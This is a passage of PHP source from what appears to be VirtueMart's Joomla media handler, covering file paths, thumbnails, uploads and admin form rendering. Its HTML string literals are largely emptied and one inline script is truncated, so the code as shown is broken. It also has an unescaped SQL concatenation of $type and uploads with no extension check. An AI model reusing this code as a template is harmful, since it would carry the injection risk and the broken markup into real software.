you need to manipulate this function. * We may use later here a hook for plugins or simular * * @author Max Milbers * @param object $table * @param string $type vendor,product,category,... * @param string $file_mimetype such as image/jpeg */ static public function createMedia($table,$type='',$file_mimetype=''){ if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); $extension = strtolower(JFile::getExt($table->file_url)); $isImage = self::isImage($extension); if($isImage){ if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'image.php'); $media = new VmImage(); } else { $media = new VmMediaHandler(); } $attribsImage = get_object_vars($table); foreach($attribsImage as $k=>$v){ $media->$k = $v; } if(empty($type)){ $type = $media->file_type; } else { $media->file_type = $type; } $media->setFileInfo($type); return $media; } /** * This prepares the object for storing the data. This means it does the action * and returns the data for storing in the table * * @author Max Milbers * @param object $table * @param array $data * @param string $type */ static public function prepareStoreMedia($table,$data,$type){ $media = VmMediaHandler::createMedia($table,$type); $data = $media->processAttributes($data); $data = $media->processAction($data); $attribsImage = get_object_vars($media); foreach($attribsImage as $k=>$v){ $data[$k] = $v; } return $data; } /** * Sets the file information and paths/urls and so on. * * @author Max Milbers * @param unknown_type $filename * @param unknown_type $url * @param unknown_type $path */ function setFileInfo($type=0){ $this->file_url_folder = ''; $this->file_path_folder = ''; $this->file_url_folder_thumb = ''; if($this->file_is_forSale==0 and $type!='forSale'){ $this->file_url_folder = $this->getMediaUrlByView($type); $this->file_url_folder_thumb = $this->file_url_folder.'resized/'; $this->file_path_folder = str_replace('/',DS,$this->file_url_folder); } else { if (!class_exists ('shopFunctions')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctions.php'); $safePath = shopFunctions::checkSafePath(); if(!$safePath){ return FALSE; } $this->file_path_folder = $safePath; $this->file_url_folder = $this->file_path_folder;//str_replace(DS,'/',$this->file_path_folder); $this->file_url_folder_thumb = VmConfig::get('forSale_path_thumb'); } //Clean from possible injection while(strpos($this->file_path_folder,'..')!==false){ $this->file_path_folder = str_replace('..', '', $this->file_path_folder); }; $this->file_path_folder = preg_replace('#[/\\\\]+#', DS, $this->file_path_folder); if(empty($this->file_url)){ $this->file_url = $this->file_url_folder; $this->file_name = ''; $this->file_extension = ''; } else { if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if($this->file_is_forSale==1){ $rdspos = strrpos($this->file_url,DS); if($rdspos!==false){ $name = substr($this->file_url,$rdspos+1); } else { vmdebug('$name',$this->file_url,$rdspos); } } else { //This construction is only valid for the images, it is for own structuring using folders $name = str_replace($this->file_url_folder,'',$this->file_url); } //vmdebug('setFileInfo',$name,$this->file_title); if(!empty($name) && $name !=='/'){ $this->file_name = JFile::stripExt($name); $this->file_extension = strtolower(JFile::getExt($name)); //Ensure using right directory $file_url = $this->getMediaUrlByView($type).$name; if($this->file_is_forSale==1){ if(JFile::exists($file_url)){ $this->file_url = $file_url; } else { // vmdebug('MediaHandler, file does not exist in safepath '.$file_url); } } else { $pathToTest = JPATH_ROOT.DS.str_replace('/',DS,$file_url); if(JFile::exists($pathToTest)){ $this->file_url = $file_url; } else { // vmdebug('MediaHandler, file does not exist in '.$pathToTest); } } } } if($this->file_is_downloadable) $this->media_role = 'file_is_downloadable'; if($this->file_is_forSale) $this->media_role = 'file_is_forSale'; if(empty($this->media_role)) $this->media_role = 'file_is_displayable'; // vmdebug('$this->media_role',$this->media_role); $this->determineFoldersToTest(); if(!empty($this->file_url) && empty($this->file_url_thumb)){ $this->displayMediaThumb('',true,'',false); } } public function getUrl(){ return $this->file_url_folder.$this->file_name.'.'.$this->file_extension; } public function getThumbUrl(){ return $this->file_url_folder_thumb.$this->file_name.'.'.$this->file_extension; } public function getFullPath(){ $rel_path = str_replace('/',DS,$this->file_url_folder); return JPATH_ROOT.DS.$rel_path.$this->file_name.'.'.$this->file_extension; } public function getThumbPath(){ $rel_path = str_replace('/',DS,$this->file_url_folder); return JPATH_ROOT.DS.$rel_path.$this->file_name_thumb.'.'.$this->file_extension; } /** * Tests if a function is an image by mime or extension * * @author Max Milbers * @param string $file_mimetype * @param string $file_extension */ static private function isImage($file_extension=0){ if($file_extension == 'jpg' || $file_extension == 'jpeg' || $file_extension == 'png' || $file_extension == 'gif'){ $isImage = TRUE; } else { $isImage = FALSE; } return $isImage; } private $_foldersToTest = array(); /** * This functions adds the folders to test for each media, you can add more folders to test with * addFoldersToTest * @author Max Milbers */ public function determineFoldersToTest(){ $file_path = str_replace('/',DS,$this->file_url_folder); if($this->file_is_forSale){ $this->addFoldersToTest($file_path); } else { $this->addFoldersToTest(JPATH_ROOT.DS.$file_path); } $file_path_thumb = str_replace('/',DS,$this->file_url_folder_thumb); $this->addFoldersToTest(JPATH_ROOT.DS.$file_path_thumb); } /** * Add complete paths here to test/display if their are writable * * @author Max Milbers * @param absolutepPath $folders */ public function addFoldersToTest($folders){ if(!is_array($folders)) $folders = (array) $folders; $this->_foldersToTest = array_merge($this->_foldersToTest, $folders); } /** * Displays for paths if they are writeable * You set the folders to test with the function addFoldersToTest * @author Max Milbers */ public function displayFoldersWriteAble(){ $style = 'text-align:left;margin-left:20px;'; $result = '
      '; foreach( $this->_foldersToTest as $dir ) { $result .= $dir . ' :: '; $result .= is_writable( $dir ) ? ''.JText::_('COM_VIRTUEMART_WRITABLE').'' : ''.JText::_('COM_VIRTUEMART_UNWRITABLE').''; $result .= '
      '; } $result .= '
      '; return $result; } /** * Shows the supported file types for the server * * @author enyo 06-Nov-2003 03:32 http://www.php.net/manual/en/function.imagetypes.php * @author Max Milbers * @return multitype:string */ function displaySupportedImageTypes() { $aSupportedTypes = array(); $aPossibleImageTypeBits = array( IMG_GIF=>'GIF', IMG_JPG=>'JPG', IMG_PNG=>'PNG', IMG_WBMP=>'WBMP' ); foreach ($aPossibleImageTypeBits as $iImageTypeBits => $sImageTypeString) { if(function_exists('imagetypes')){ if (imagetypes() & $iImageTypeBits) { $aSupportedTypes[] = $sImageTypeString; } } } $supportedTypes = ''; if(function_exists('mime_content_type')){ $supportedTypes .= JText::_('COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED').'
      '; } else { $supportedTypes .= JText::_('COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED').'
      '; } $supportedTypes .= JText::_('COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED'). implode($aSupportedTypes,', '); return $supportedTypes; } /** * Just for overwriting purpose for childs. Take a look on VmImage to see an example * * @author Max Milbers */ function displayMediaFull(){ return $this->displayMediaThumb('id="vm_display_image"',false,'',true,true); } /** * This function displays the image, when the image is not already a resized one, * it tries to get first the resized one, or create a resized one or fallback in case * * @author Max Milbers * * @param string $imageArgs Attributes to be included in the tag. * @param boolean $lightbox alternative display method * @param string $effect alternative lightbox display * @param boolean $withDesc display the image media description */ function displayMediaThumb($imageArgs='',$lightbox=true,$effect="class='modal' rel='group'",$return = true,$withDescr = false,$absUrl = false, $width=0,$height=0){ if(empty($this->file_name)){ if($return){ if($this->file_is_downloadable){ $file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('downloadable','zip.png'); $file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_SET').' '.$this->file_description; return $this->displayIt($file_url, $file_alt, '',true,'',$withDescr); } else { $file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('no_image_set'); $file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_SET').' '.$this->file_description; return $this->displayIt($file_url, $file_alt, $imageArgs,$lightbox, $effect); } } } if(!empty($this->file_url_thumb)){ $file_url_thumb = $this->file_url_thumb; } else if(is_a($this,'VmImage')) { $file_url_thumb = $this->createThumbFileUrl(); } else { $file_url_thumb = ''; } $media_path = JPATH_ROOT.DS.str_replace('/',DS,$file_url_thumb); if(empty($this->file_meta)){ if(!empty($this->file_description)){ $file_alt = $this->file_description; } else if(!empty($this->file_name)) { $file_alt = $this->file_name; } else { $file_alt = ''; } } else { $file_alt = $this->file_meta; } if ((empty($file_url_thumb) || !file_exists($media_path)) && is_a($this,'VmImage')) { if(empty($width)) $width = VmConfig::get('img_width', 90); if(empty($height)) $height = VmConfig::get('img_height', 90); //vmSetStartTime('thumb'); $file_url_thumb = $this->createThumb($width,$height); //vmTime('Time to create thumb','thumb'); // vmdebug('displayMediaThumb',$this->file_url_thumb); $media_path = JPATH_ROOT.DS.str_replace('/',DS,$file_url_thumb); //$file_url = $this->file_url_thumb; //Here we need now to update the database field of $this->file_url_thumb to prevent dynamic thumbnailing in future //We do not update anylonger, only if there is an override used /*if(empty($this->_db)) $this->_db = JFactory::getDBO(); $query = 'UPDATE `#__virtuemart_medias` SET `file_url_thumb` = "'.$this->_db->getEscaped($this->file_url_thumb).'" WHERE `#__virtuemart_medias`.`virtuemart_media_id` = "'.(int)$this->virtuemart_media_id.'" '; $this->_db->setQuery($query); $this->_db->query();*/ } $this->file_url_thumb = $file_url_thumb; if($withDescr) $withDescr = $this->file_description; if (empty($this->file_url_thumb) || !file_exists($media_path)) { return $this->getIcon($imageArgs,$lightbox,$return,$withDescr,$absUrl); } if($return) return $this->displayIt($file_url_thumb, $file_alt, $imageArgs,$lightbox,$effect,$withDescr,$absUrl); } /** * This function should return later also an icon, if there isnt any automatic thumbnail creation possible * like pdf, zip, ... * * @author Max Milbers * @param string $imageArgs * @param boolean $lightbox */ function getIcon($imageArgs,$lightbox,$return=false,$withDescr=false,$absUrl = false){ if(!empty($this->file_extension)){ $file_url = $this->theme_url.'assets/images/vmgeneral/filetype_'.$this->file_extension.'.png'; $file_alt = $this->file_description; } else { $file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('no_image_found'); $file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_FOUND').' '.$this->file_description; } if($return){ if($this->file_is_downloadable){ return $this->displayIt($file_url, $file_alt, '',true,'',$withDescr,$absUrl); } else { return $this->displayIt($file_url, $file_alt, $imageArgs,$lightbox,'',$withDescr,$absUrl); } } } /** * This function is just for options how to display an image... * we may add here plugins for displaying images * * @author Max Milbers * @param string $file_url relative Url * @param string $file_alt media description * @param string $imageArgs attributes for displaying the images * @param boolean $lightbox use lightbox */ function displayIt($file_url, $file_alt, $imageArgs,$lightbox, $effect ="class='modal'",$withDesc=false,$absUrl = false){ if ($withDesc) $desc=''.$withDesc.''; else $desc=''; // vmdebug('displayIt $file_alt'.$file_alt,$imageArgs); if($lightbox){ $image = JHTML::image($file_url, $file_alt, $imageArgs); if ($file_alt ) $file_alt = 'title="'.$file_alt.'"'; if ($this->file_url and pathinfo($this->file_url, PATHINFO_EXTENSION) and substr( $this->file_url, 0, 4) != "http") $href = JURI::root() .$this->file_url ; else $href = $file_url ; if ($this->file_is_downloadable) { $lightboxImage = ''.$image.$desc.''; } else { $lightboxImage = ''.$image.''; $lightboxImage = $lightboxImage.$desc; } return $lightboxImage; } else { $root=''; if($absUrl) $root = JURI::root(); return JHTML::image($root.$file_url, $file_alt, $imageArgs).$desc; } } /** * Handles the upload process of a media, sets the mime_type, when success * * @author Max Milbers * @param string $urlfolder relative url of the folder where to store the media * @return name of the uploaded file */ function uploadFile($urlfolder,$overwrite = false){ if(empty($urlfolder) OR strlen($urlfolder)<2){ vmError('Not able to upload file, give path/url empty/too short '.$urlfolder.' please correct path in your virtuemart config'); return false; } $media = JRequest::getVar('upload', array(), 'files'); $app = JFactory::getApplication(); switch ($media['error']) { case 0: $path_folder = str_replace('/',DS,$urlfolder); //Sadly it does not work to upload unicode files, // the ä for example is stored on windows as ä, this seems to be a php issue (maybe a config setting) // //Sanitize name of media /* $dotPos = strrpos($media['name'],'.'); $safeMediaName = vmFile::makeSafe( $media['name'] ); if($dotPos!==FALSE){ $mediaPure = substr($media['name'],0,$dotPos); $mediaExtension = strtolower(substr($media['name'],$dotPos)); } else{ $mediaPure = ''; $mediaExtension = ''; } */ $safeMediaName = vmFile::makeSafe( $media['name'] ); $media['name'] = $safeMediaName; $mediaPure = JFile::stripExt($media['name']); $mediaExtension = '.'.strtolower(JFile::getExt($media['name'])); vmdebug('uploadFile $safeMediaName',$media['name'],$safeMediaName,$mediaPure,$mediaExtension); if(!$overwrite){ while (file_exists(JPATH_ROOT.DS.$path_folder.$mediaPure.$mediaExtension)) { $mediaPure = $mediaPure.rand(1,9); } } $media['name'] = $this->file_name =$mediaPure.$mediaExtension; if($this->file_is_forSale==0){ JFile::upload($media['tmp_name'],JPATH_ROOT.DS.$path_folder.$media['name']); } else { JFile::upload($media['tmp_name'],$path_folder.$media['name']); } $this->file_mimetype = $media['type']; $this->media_published = 1; $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_FILE_UPLOAD_OK',JPATH_ROOT.DS.$path_folder.$media['name'])); return $media['name']; case 1: //uploaded file exceeds the upload_max_filesize directive in php.ini $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_PRODUCT_FILES_ERR_UPLOAD_MAX_FILESIZE',$media['name'],$media['tmp_name']), 'warning'); break; case 2: //uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the html form $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_PRODUCT_FILES_ERR_MAX_FILE_SIZE',$media['name'],$media['tmp_name']), 'warning'); break; case 3: //uploaded file was only partially uploaded $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_PRODUCT_FILES_ERR_PARTIALLY',$media['name'],$media['tmp_name']), 'warning'); break; case 4: //no file was uploaded //$vmLogger->warning( "You have not selected a file/image for upload." ); break; default: //a default error, just in case! :) //$vmLogger->warning( "There was a problem with your upload." ); break; } return false; } /** * Deletes a file * * @param string $url relative Url, gets adjusted to path */ function deleteFile($url){ jimport('joomla.filesystem.file'); $file_path = JPATH_ROOT.DS.str_replace('/',DS,$url); $app = JFactory::getApplication(); if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } $msg_path = ''; if(Permissions::getInstance()->check('admin')){ $msg_path = $file_path; } if($res = JFile::delete( $file_path )){ $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_FILE_DELETE_OK',$msg_path)); } else { $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_FILE_DELETE_ERR',$res.' '.$msg_path)); } return ; } /** * Processes the choosed Action while storing the data, gets extend by the used child, use for the action clear commands. * Useable commands in all medias upload, upload_delete, delete, and all of them with _thumb on it also. * * @author Max Milbers * @param arraybyform $data */ function processAction($data){ if(empty($data['media_action'])) return $data; // $data['published'] = 1; if( $data['media_action'] == 'upload' ){ $this->virtuemart_media_id=0; $this->file_url=''; $this->file_url_thumb=''; $file_name = $this->uploadFile($this->file_url_folder); $this->file_name = $file_name; $this->file_url = $this->file_url_folder.$this->file_name; } else if( $data['media_action'] == 'replace' ){ // $oldFileUrl = $data['file_url']; // vmdebug('replace media',$this); $oldFileUrl = $this->file_url; $oldFileUrlThumb = $this->file_url_thumb; $file_name = $this->uploadFile($this->file_url_folder,true); $this->file_name = $file_name; $this->file_url = $this->file_url_folder.$this->file_name; if($this->file_url!=$oldFileUrl && !empty($this->file_name)){ $this->deleteFile($oldFileUrl); } //always delete the thumb $this->deleteFile($oldFileUrlThumb); } else if( $data['media_action'] == 'replace_thumb' ){ $oldFileUrlThumb = $this->file_url_thumb; $oldFileUrl = $this->file_url_folder_thumb; $file_name = $this->uploadFile($this->file_url_folder_thumb,true); $this->file_name = $file_name; $this->file_url_thumb = $this->file_url_folder_thumb.$this->file_name; if($this->file_url_thumb!=$oldFileUrl&& !empty($this->file_name)){ $this->deleteFile($oldFileUrlThumb); } } else if( $data['media_action'] == 'delete' ){ //TODO this is complex, we must assure that the media entry gets also deleted. //$this->deleteFile($this->file_url); unset($data['active_media_id']); } if(empty($this->file_title) && !empty($file_name)) $this->file_title = $file_name; // if(empty($this->file_title) && !empty($file_name)) $data['file_title'] = $file_name; return $data; } /** * For processing the Attributes of the media while the storing process * * @author Max Milbers * @param unknown_type $data */ function processAttributes($data){ $this->file_is_product_image = 0; $this->file_is_downloadable = 0; // $this->file_is_forSale = 0; if(empty($data['media_roles'])) return $data; if($data['media_roles'] == 'file_is_downloadable'){ $this->file_is_downloadable = 1; $this->file_is_forSale = 0; } else if($data['media_roles'] == 'file_is_forSale'){ $this->file_is_downloadable = 0; $this->file_is_forSale = 1; $this->file_url_folder = VmConfig::get('forSale_path'); $this->file_url_folder_thumb = VmConfig::get('forSale_path_thumb'); $this->setRole = false; } if($this->setRole and $data['media_roles'] != 'file_is_forSale'){ $this->file_url_folder = $this->getMediaUrlByView($data['media_attributes']); //media_roles $this->file_url_folder_thumb = $this->file_url_folder.'resized/'; $typelessUrl = 'images/stories/virtuemart/typeless/'.$this->file_name; vmdebug('the Urls',$data['media_roles'],$typelessUrl,$this->file_url_folder.$this->file_name); if(!file_exists($this->file_url_folder.$this->file_name) and file_exists($typelessUrl)){ vmdebug('Execute move'); JFile::move($typelessUrl, $this->file_url_folder.$this->file_name); } } if(!empty($data['vmlangimg'])) { $vmlangimg = implode(",", $data['vmlangimg']); $this->file_lang = $vmlangimg; } return $data; } private $_actions = array(); /** * This method can be used to add extra actions to the media * * @author Max Milbers * @param string $optionName this is the value in the form * @param string $langkey the langkey used */ function addMediaAction($optionName,$langkey){ $this->_actions[$optionName] = $langkey ; } /** * Adds the media action which are needed in the form for all media, * you can use this function in your child calling parent. Look in VmImage for an exampel * @author Max Milbers */ function addMediaActionByType(){ $this->addMediaAction(0,'COM_VIRTUEMART_NONE'); $view = JRequest::getWord('view'); if($view!='media' || empty($this->file_name)){ $this->addMediaAction('upload','COM_VIRTUEMART_FORM_MEDIA_UPLOAD'); } if(!empty($this->file_name)){ $this->addMediaAction('replace','COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE'); $this->addMediaAction('replace_thumb','COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB'); // $this->addMediaAction('delete_thumb','COM_VIRTUEMART_FORM_MEDIA_DELETE_THUMB'); // $this->addMediaAction('delete','COM_VIRTUEMART_FORM_MEDIA_DELETE'); } } private $_mLocation = array(); /** * This method can be used to add extra attributes to the media * * @author Max Milbers * @param string $optionName this is the value in the form * @param string $langkey the langkey used */ public function addMediaAttributes($optionName,$langkey=''){ $this->_mLocation[$optionName] = $langkey ; } /** * Adds the attributes which are needed in the form for all media, * you can use this function in your child calling parent. Look in VmImage for an exampel * @author Max Milbers */ public function addMediaAttributesByType(){ if($this->setRole){ // $this->addMediaAttributes('file_is_product_image','COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT'); $this->addMediaAttributes('product','COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT'); // => file_is_displayable =>location $this->addMediaAttributes('category','COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY'); $this->addMediaAttributes('manufacturer','COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER'); $this->addMediaAttributes('vendor','COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR'); $this->_mRoles['file_is_displayable'] = 'COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE' ; $this->_mRoles['file_is_downloadable'] = 'COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE' ; $this->_mRoles['file_is_forSale'] = 'COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE' ; } else { if($this->file_is_forSale==1){ $this->_mRoles['file_is_forSale'] = 'COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE' ; } else { $this->_mRoles['file_is_displayable'] = 'COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE' ; $this->_mRoles['file_is_downloadable'] = 'COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE' ; } } } private $_hidden = array(); /** * Use this to adjust the hidden fields of the displayFileHandler to your form * * @author Max Milbers * @param string $name for exampel view * @param string $value for exampel media */ public function addHidden($name, $value=''){ $this->_hidden[$name] = $value; } /** * Adds the hidden fields which are needed for the form in every case * @author Max Milbers */ private function addHiddenByType(){ $this->addHidden('active_media_id',$this->virtuemart_media_id); $this->addHidden('option','com_virtuemart'); // $this->addHidden('file_mimetype',$this->file_mimetype); } /** * Displays file handler and file selector * * @author Max Milbers * @param array $fileIds */ public function displayFilesHandler($fileIds,$type){ VmConfig::loadJLang('com_virtuemart_media'); $html = $this->displayFileSelection($fileIds,$type); $html .= $this->displayFileHandler(); if(empty($this->_db)) $this->_db = JFactory::getDBO(); $this->_db->setQuery('SELECT FOUND_ROWS()'); $imagetotal = $this->_db->loadResult(); //vmJsApi::jQuery(array('easing-1.3.pack','mousewheel-3.0.4.pack','fancybox-1.3.4.pack'),'','fancybox'); $j = ' //0) media.start=0; }); searchMedia.autocomplete({ source: medialink, select: function(event, ui){ $('#ImagesContainer').append(ui.item.label); //$(this).autocomplete( 'option' , 'source' , '". JURI::root(false) ."administrator/index.php?option=com_virtuemart&view=product&task=getData&format=json&type=relatedcategories&row='+nextCustom ) }, minLength:1, html: true }); $('.js-pages').click(function (e) { e.preventDefault(); if (searchMedia.val() =='') { searchMedia.val(' '); media.start = 0; } else if ($(this).hasClass('js-next')) media.start = media.start+16 ; else if (media.start > 0) media.start = media.start-16 ; searchMedia.autocomplete( 'option' , 'source' , medialink+'&start='+media.start ); searchMedia.autocomplete( 'search'); }); $('#ImagesContainer').sortable({ update: function(event, ui) { $(this).find('.ordering').each(function(index,element) { $(element).val(index); //console.log(index+' '); }); } }); $('#upload').change( function (){ if ($('#media_action0').is(':checked') ) $('#media_actionupload').attr('checked', true); }); }); //]]> "; $document = JFactory::getDocument (); $document->addScriptDeclaration ( $j); return $html; } /** * Displays a possibility to select already uploaded media * the getImagesList must be adjusted to have more search functions * @author Max Milbers * @param array $fileIds */ public function displayFileSelection($fileIds,$type = 0){ $html=''; $html .= '
      ' ; $html .= ''.JText::_('COM_VIRTUEMART_IMAGES').''; $html .= ''.JText::_('COM_VIRTUEMART_SEARCH_MEDIA') . ''; $html .= ' 16 16 '; $html .='
      '; $html .= '
      '; if(!empty($fileIds)) { $model = VmModel::getModel('Media'); $medias = $model->createMediaByIds($fileIds, $type); foreach($medias as $k=>$id){ $html .= $this->displayImage($id,$k ); } } $html .= '
      '; return $html.'
      '; } function displayImage($image ,$key) { if (isset($image->file_url)) { $image->file_root = JURI::root(true).'/'; $image->msg = 'OK'; return ''; } else { $fileTitle = empty($image->file_title)? 'no title':$image->file_title; return '
      '.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').'
      '.$fileTitle.'
      '; } } static function displayImages($types ='',$page=0,$max=16 ) { $Images = array(); $list = VmMediaHandler::getImagesList($types,$page,$max); if (empty($list['images'])){ return JText::_('COM_VIRTUEMART_NO_MEDIA_FILES'); } foreach ($list['images'] as $key =>$image) { $htmlImages =''; if ($image->file_url_thumb > "0" ) { // $imagesList->file_root = JURI::root(true).'/'; // $imagesList->msg = 'OK'; $htmlImages .= '
      ' .JHTML::image($image->file_url_thumb,$image->file_title, 'class="vm_thumb" ').''; } else { $htmlImages .= '
      '.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').'
      '.$image->file_title ; } $Images[$key ]['label'] = $htmlImages.'
      '; $Images[$key ]['value'] = $image->file_title.' :: '.$image->virtuemart_media_id; } //$list['htmlImages'] = $htmlImages; return $Images; } /** * Retrieve a list of layouts from the default and chosen templates directory. * * We may use here the getFiles function of the media model or write something simular * @author Max Milbers * @param name of the view * @return object List of flypage objects */ function getImagesList($type = '',$limit=0, $max=16) { $db = JFactory::getDBO(); $list = array(); $vendorId=1;//TODO control the vendor $q='SELECT SQL_CALC_FOUND_ROWS `virtuemart_media_id` FROM `#__virtuemart_medias` WHERE `published`=1 AND (`virtuemart_vendor_id`= "'.(int)$vendorId.'" OR `shared` = "1")'; if(!empty($type)){ $q .= ' AND `file_type` = "'.$type.'" '; } if ($search = JRequest::getString('term', false)){ $search = '"%' . $db->getEscaped( $search, true ) . '%"' ; $q .= ' AND (`file_title` LIKE '.$search.' OR `file_description` LIKE '.$search.' OR `file_meta` LIKE '.$search.') '; } $q .= ' LIMIT '.(int)$limit.', '.(int)$max; $db->setQuery($q); // $result = $this->_db->loadAssocList(); if ($virtuemart_media_ids = $db->loadResultArray()) { $errMsg = $db->getErrorMsg(); $errs = $db->getErrors(); $model = VmModel::getModel('Media'); $db->setQuery('SELECT FOUND_ROWS()'); $list['total'] = $db->loadResult(); $list['images'] = $model->createMediaByIds($virtuemart_media_ids, $type); if(!empty($errMsg)){ $app = JFactory::getApplication(); $errNum = $db->getErrorNum(); $app->enqueueMessage('SQL-Error: '.$errNum.' '.$errMsg); } if($errs){ $app = JFactory::getApplication(); foreach($errs as $err){ $app->enqueueMessage($err); } } return $list; } else return array(); } /** * This displays a media handler. It displays the full and the thumb (icon) of the media. * It also gives a possibility to upload/change/thumbnail media * * @param string $imageArgs html atttributes, Just for displaying the fullsized image */ public function displayFileHandler(){ VmConfig::loadJLang('com_virtuemart_media'); $identify = ''; // ':'.$this->virtuemart_media_id; $this->addHiddenByType(); $html = '
      ' ; $html .= ''.JText::_('COM_VIRTUEMART_IMAGE_INFORMATION').''; $html .= '
      '; $imageArgs = 'id="vm_display_image" '; $html .= $this->displayMediaFull($imageArgs,false,'',false).'
      '; //This makes problems, when there is already a form, and there would be form in a form. breaks js in some browsers // $html .= '
      '; $html .= ' '; if ($this->published || $this->virtuemart_media_id === 0){ $checked = 1; } else { $checked = 0; } $html .= ''; // The following was removed bacause the check box (publish/unpublish) was not functioning... // $this->media_published = $this->published; $html .= ''; $html .= ''; $html .= ''; // $html .= ' // // // '; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check('admin') ) $readonly='readonly'; else $readonly =''; $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_TITLE','file_title'); $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION','file_description'); $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_META','file_meta'); $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_URL','file_url',$readonly); //remove the file_url_thumb in case it is standard if(!empty($this->file_url_thumb) and is_a($this,'VmImage')) { $file_url_thumb = $this->createThumbFileUrl(); //vmdebug('my displayFileHandler ',$this,$file_url_thumb); if($this->file_url_thumb == $file_url_thumb){ $this->file_url_thumb = JText::sprintf('COM_VIRTUEMART_DEFAULT_URL',$file_url_thumb); } } $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB','file_url_thumb',$readonly); $this->addMediaAttributesByType(); $html .= ''; // $html .= ''; } else { $mediaattribtemp = $this->media_attributes; if(empty($this->media_attributes)){ $mediaattribtemp = 'product'; } $html .= ''; } // select language for image if (count(vmconfig::get('active_languages'))>1) { $selectedLangue = explode(",", $this->file_lang); $languages = JLanguageHelper::createLanguageList($selectedLangue, constant('JPATH_SITE'), true); $html .= ''; } $html .= '
      '; if(!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); $html .= VmHTML::checkbox('media_published',$checked,1,0,'class="inputbox"','media_published'.$identify) ; // $html .=''; $html .= JHTML::image($this->file_url_thumb, 'thumbnail', 'id="vm_thumb_image" style="overflow: auto; float: right;"'); // $html .= $this->displayMediaThumb('',false,'id="vm_thumb_image" style="overflow: auto; float: right;"'); $html .= '
      '. JText::_('COM_VIRTUEMART_FILES_FORM_CURRENT_FILE') .''.$this->file_name.'.'.$this->file_extension .'
      '.JText::_('COM_VIRTUEMART_FILES_FORM_ROLE').'
      '.JHTML::_('select.radiolist', $this->getOptions($this->_mRoles), 'media_roles'.$identify, '', 'value', 'text', $this->media_role).'
      '.VmHTML::checkbox('file_is_forSale', $this->file_is_forSale); // $html .= VmHTML::checkbox('file_is_downloadable', $this->file_is_downloadable); if(!empty($this->file_type)){ $html .= '
      '.JText::_('COM_VIRTUEMART_FILES_FORM_LOCATION').'
      '.JText::_('COM_VIRTUEMART_FORM_MEDIA_SET_'.strtoupper($this->file_type)).'
      '.JText::_('COM_VIRTUEMART_FILES_FORM_LOCATION').'
      '.JHTML::_('select.radiolist', $this->getOptions($this->_mLocation), 'media_attributes'.$identify, '', 'value', 'text', $mediaattribtemp).'
      ' . JText::_ ('COM_VIRTUEMART_FILES_FORM_LANGUAGE') . '
      '.JHTML::_('select.genericlist', $languages, 'vmlangimg[]', 'size="10" multiple="multiple"', 'value', 'text', $selectedLangue ).'
      '; $html .='
      '; $this->addMediaActionByType(); $html .= '
      ' ; $html .= ''.JText::_('COM_VIRTUEMART_FILE_UPLOAD').''; $html .= JText::_('COM_VIRTUEMART_IMAGE_ACTION'). JHTML::_('select.radiolist', $this->getOptions($this->_actions), 'media_action'.$identify, '', 'value', 'text', 0).'

      '; $html .= JText::_('COM_VIRTUEMART_FILE_UPLOAD').'
      '; $html .= '
      '.$this->displaySupportedImageTypes(); $html .='
